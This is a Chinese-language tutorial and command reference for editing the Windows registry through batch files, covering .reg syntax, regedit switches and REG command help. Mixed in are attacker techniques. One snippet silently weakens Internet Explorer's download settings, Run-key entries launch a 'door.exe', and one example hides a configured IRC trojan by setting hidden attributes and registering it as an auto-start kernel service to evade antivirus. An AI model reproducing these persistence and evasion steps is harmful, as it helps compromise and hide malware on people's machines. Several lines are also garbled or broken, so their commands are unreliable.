批處理命令修改註冊表大全數據庫
Windows 2000/XP下的命令提示符(即CMD.exe程序)至關於Windows 98下的MS-DOS程序。出於系統自己安全考慮,應防止非法用戶在命令提示符下或是利用批處理文件(BAT文件)對計算機進行破壞,這可經過修改註冊表來實現。編程
選擇【開始】→【運行】命令,在【運行】對話框的【打開】文本框中輸入「regedit.exe」,單擊【肯定】按鈕,運行註冊表編輯器,依次打開如下鍵:安全
HKEY_CURRENT_USER\Software\Policies\Microsoft\System編輯器
在右邊的窗口中新建一個DWORD值,其名稱爲DisableCMD,設數值數據爲2,則表示命令提示符程序和批處理文件都不能被運行,其值爲1,則只是禁止命令提示符的運行。ide
示例:學習
echo REGEDIT4>iedown.reg命令行
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>iedown.reg進程
echo "1803"=dword:00000000>>iedown.regci
以上生成REG文件.字符串
regedit /s iedown.reg
del iedown.reg
運行REG後刪除之.
還能夠:寫一個註冊表文件,放在一個位置..
而後批處理導入:
@echo off
regedit /s 註冊表文件路徑
exit
說明:/s是不彈出確認提示直接導入
先學習一下如何使用.REG文件來操
做註冊表.(咱們能夠用批處理來生成一個REG文件)
關於註冊表的操做,常見的是建立、修改、刪除。
1.建立
建立分爲兩種,一種是建立子項(Subkey)
咱們建立一個文件,內容以下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
而後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下建立了一個名字爲"hacker"的子項。
另外一種是建立一個項目名稱
那這種文件格式就是典型的文件格式,和你從註冊表中導出的文件格式一致,內容以下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about這三個項目
Invader的類型是"String value"
door的類型是"REG SZ value"
Autodos的類型是"DWORD value"
2.修改
修改相對來講比較簡單,只要把你須要修改的項目導出,而後用記事本進行修改,而後導入(regedit /s)便可。
3.刪除
咱們首先來講說刪除一個項目名稱,咱們建立一個以下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;
咱們再看看刪除一個子項,咱們建立一個以下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。
相信看到這裏,.reg文件你基本已經掌握了。那麼如今的目標就是用批處理來建立特定內容的.reg文件了,記得咱們前面說道的利用重定向符號能夠很容易地建立特定類型的文件。
samlpe1:如上面的那個例子,如想生成以下注冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只須要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
咱們如今在使用一些比較老的***時,可能會在註冊表的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、
Runexec)]下生成一個鍵值用來實現***的自啓動.可是這樣很容易暴露***程序的路徑,從而致使***被查
殺,相對地如果將***程序註冊爲系統服務則相對安全一些.下面以配置好地IRC***DSNX爲例(名爲
windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在註冊表中的啓動項,用sc.exe將之註冊爲系統關鍵性服務的同時將其屬性設爲隱藏和
只讀,並config爲自啓動]
@REM 這樣不是更安全.
怎麼用批處理命令刪註冊表裏的鍵值或用命令的方法刪註冊表值?
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值。
遠程機器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的註冊表項的全名。
ValueName 所選項下的要刪除的值的名稱。
省略時,該項下的全部子項和值都會被刪除。
/ve 刪除空白值名稱的值(默認)。
/va 刪除該項下的全部值。
/f 不用提示就強行刪除。
例如:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
刪除註冊表項 Timeout 及其全部子項和值
REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU
刪除 ZODIAC 上 MyCo 下的註冊表項 MTU
regedit.exe的參數
filename 導入 .reg 文件進註冊表
/s 導入 .reg 文件進註冊表(安靜模式)
/e 導出註冊表文件
例:regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM
/L:system 指定 system.dat
/R:user 指定 user.dat
隱藏導入註冊表信息用regedit /s 便可
在DOS提示符下鍵入Regedit命令,將出現一個幫助屏幕。此屏幕給出了其命令行參數及其使用方法。
語法:Regedit[/L:system][/R:user]filename1
Regedit[/L:system][/R:user]/Cfilename2
Regedit[/L:system][/R:user]/Efilename3[regpath]
其中:
/L:system指定system.dat文件的存放位置。
/L:user指定user.dat文件的存放位置。
filename1指定引入註冊表數據庫的文件名。
/Cfilename2指定造成註冊表數據庫的文件名。
/Efilename3指定導出註冊表文件的文件名。
regpath指定導出註冊表文件的開始關鍵字(缺省爲所有關鍵字)
現舉幾個例子說明regedit.exe在DOS下的使用方法。
【例1】將系統註冊表數據庫registry導出到reg1.reg文件中。
regedit/Ereg1.reg
【例2】reg1.reg造成系統註冊表數據庫registry(所有)中。
regedit/Creg1.reg
【例3】將reg.dat引入系統註冊表數據庫中(部分)。
regeditreg.dat
【例4】將CJH開始的關鍵字導出註冊表數據庫,並命名爲cjh.reg。
regedit/Ecjh.regcjh
【例5】指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,將reg.dat數據文件造成一個新的註冊表數據庫registry。
regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat
有了以上這些知識,結合在《對註冊表進行編程的「捷徑」》裏講過的關於導入或導出的註冊表文件(*.REG),咱們就能夠在DOS方式下對註冊表進行編程了。
咱們仍是以更改「*.txt」文件的默認打開方式——「記事本」爲「寫字板」爲例。首先在MS-DOS提示符下導出「HKEY_CLASSES_ROOT\txtfile」子鍵這一分支,即執行命令:
regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile
而後用DOS下的EDIT編輯器打開txt.reg文件進行編輯:將其中全部的「C:\\WINDOWS\\NOTEPAD.EXE」所有改爲「C:\\WINDOWS\\WRITE.EXE」,存盤退出EDIT,再在命令行下執行命令:
regedittxt.reg
XP上新加的註冊表操做命令
ADD
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
遠程機器的機器名 - 忽略默認到當前機器。
遠程機器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下注冊表項的完整名
/v 所選項之下要添加的值名
/ve 爲註冊表項添加空白值名<無名稱>
/t RegKey 數據類型
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
若是忽略,則採用 REG_SZ
/s 指定一個在 REG_MULTI_SZ 數據字符串中
用做分隔符的字符
若是忽略,則將 "\0" 用做分隔符
/d 要分配給添加的註冊表 ValueName 的數據
/f 不用提示就強行改寫現有註冊表項
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加遠程機器 ABC 上的一個註冊表項 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一個值(名稱: Data,類型: REG_BINARY,數據: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,數據: fax\0
COMPARE
REG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 省略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
若是沒有指定 FullKey2,FullKey2 則跟 FullKey1 相同
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的註冊表項的全名
ValueName 所選註冊表項下的要比較的值的名稱
省略時,該項下的全部值都會獲得比較
/ve 比較空白值<no name>名稱的值
/s 比較全部子項和值
Output [/oa | /od | /os | /on]
省略時,只顯示不一樣的結果
/oa 顯示全部不一樣和匹配結果
/od 只顯示不一樣的結果
/os 只顯示匹配結果
/on 不顯示結果
返回代碼:
0 - 成功,比較的結果相同
1 - 失敗
2 - 成功,比較的結果不一樣
例如:
REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp
將註冊表項 MyApp 下的全部值跟 SaveMyApp 比較
REG COMPARE HKLM\Software\MyCo HKLM
COPY
REG COPY KeyName1 KeyName2 [/s] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的註冊表項的全名
/s 複製全部子項和值
/f 不用提示就強行復制
例如:
REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp /s
將註冊表項 MyApp 下的全部子項和值複製到註冊表項 SaveMyApp
REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM
DELETE
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的註冊表項的全名
ValueName 所選項下的要刪除的值的名稱
省略時,該項下的全部子項和值都會被刪除
/ve 刪除空白值名稱<no name>的值
/va 刪除該項下的全部值
/f 不用提示就強行刪除
例如:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
刪除註冊表項 T
LOAD
REG LOAD KeyName FileName
KeyName ROOTKEY\SubKey (只是本地機器的)
ROOTKEY [ HKLM | HKU ]
SubKey 要將配置單元文件加載進的註冊表項名稱。建立一個新的註冊表項
FileName 要加載的配置單元文件名
您必須使用 REG SAVE 來建立這個文件
QUERY
REG QUERY KeyName [/v ValueName | /ve] [/s]
KeyName [\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey 格式爲 ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的註冊表項的全名
/v 查詢特定註冊表項
ValueName 所選項下的要查詢的值的名稱
省略時,該項下的全部值都會獲得查詢
/ve 查詢默認值或空白值名稱<no name>
/s 查詢全部子項和值
RESTORE
REG RESTORE KeyName FileName
KeyName ROOTKEY\SubKey (只是本地機器)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 要將配置單元文件還原到的註冊表項全名。
改寫現有項的值和子項
FileName 要還原的配置單元文件名
您必須使用 REG SAVE 來建立這個文件
SAVE
REG SAVE KeyName FileName
KeyName ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的註冊表項的全名
FileName 要保存的磁盤文件名。若是沒有指定路徑,
文件會在調用進程的當前文件夾中獲得建立
UNLOAD
REG UNLOAD KeyName
KeyName ROOTKEY\SubKey (只是本地機器的)
ROOTKEY [ HKLM | HKU ]
SubKey 要卸載的配置單元的註冊表項名稱
reg add "項" /v(value的縮寫) 值 /t(type) reg_dword(默認是eg_sz) /d(data的縮寫) "要插入的數據值" /f(forbiden的縮寫,即強制的意思)
例如
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session" /v test /t reg_dword /d 1 /f
這句命令就是往你的註冊表
HKLM\SYSTEM\CurrentControlSet\Control\Session
這個項下面新建一個 reg_dowrd 類型的值,名字爲test,數據爲 1
/f 表示在運行若是註冊表裏已經有這個值也不會提示你,直接修改,
若是沒有這個參數的話,它會提示你是否是要修改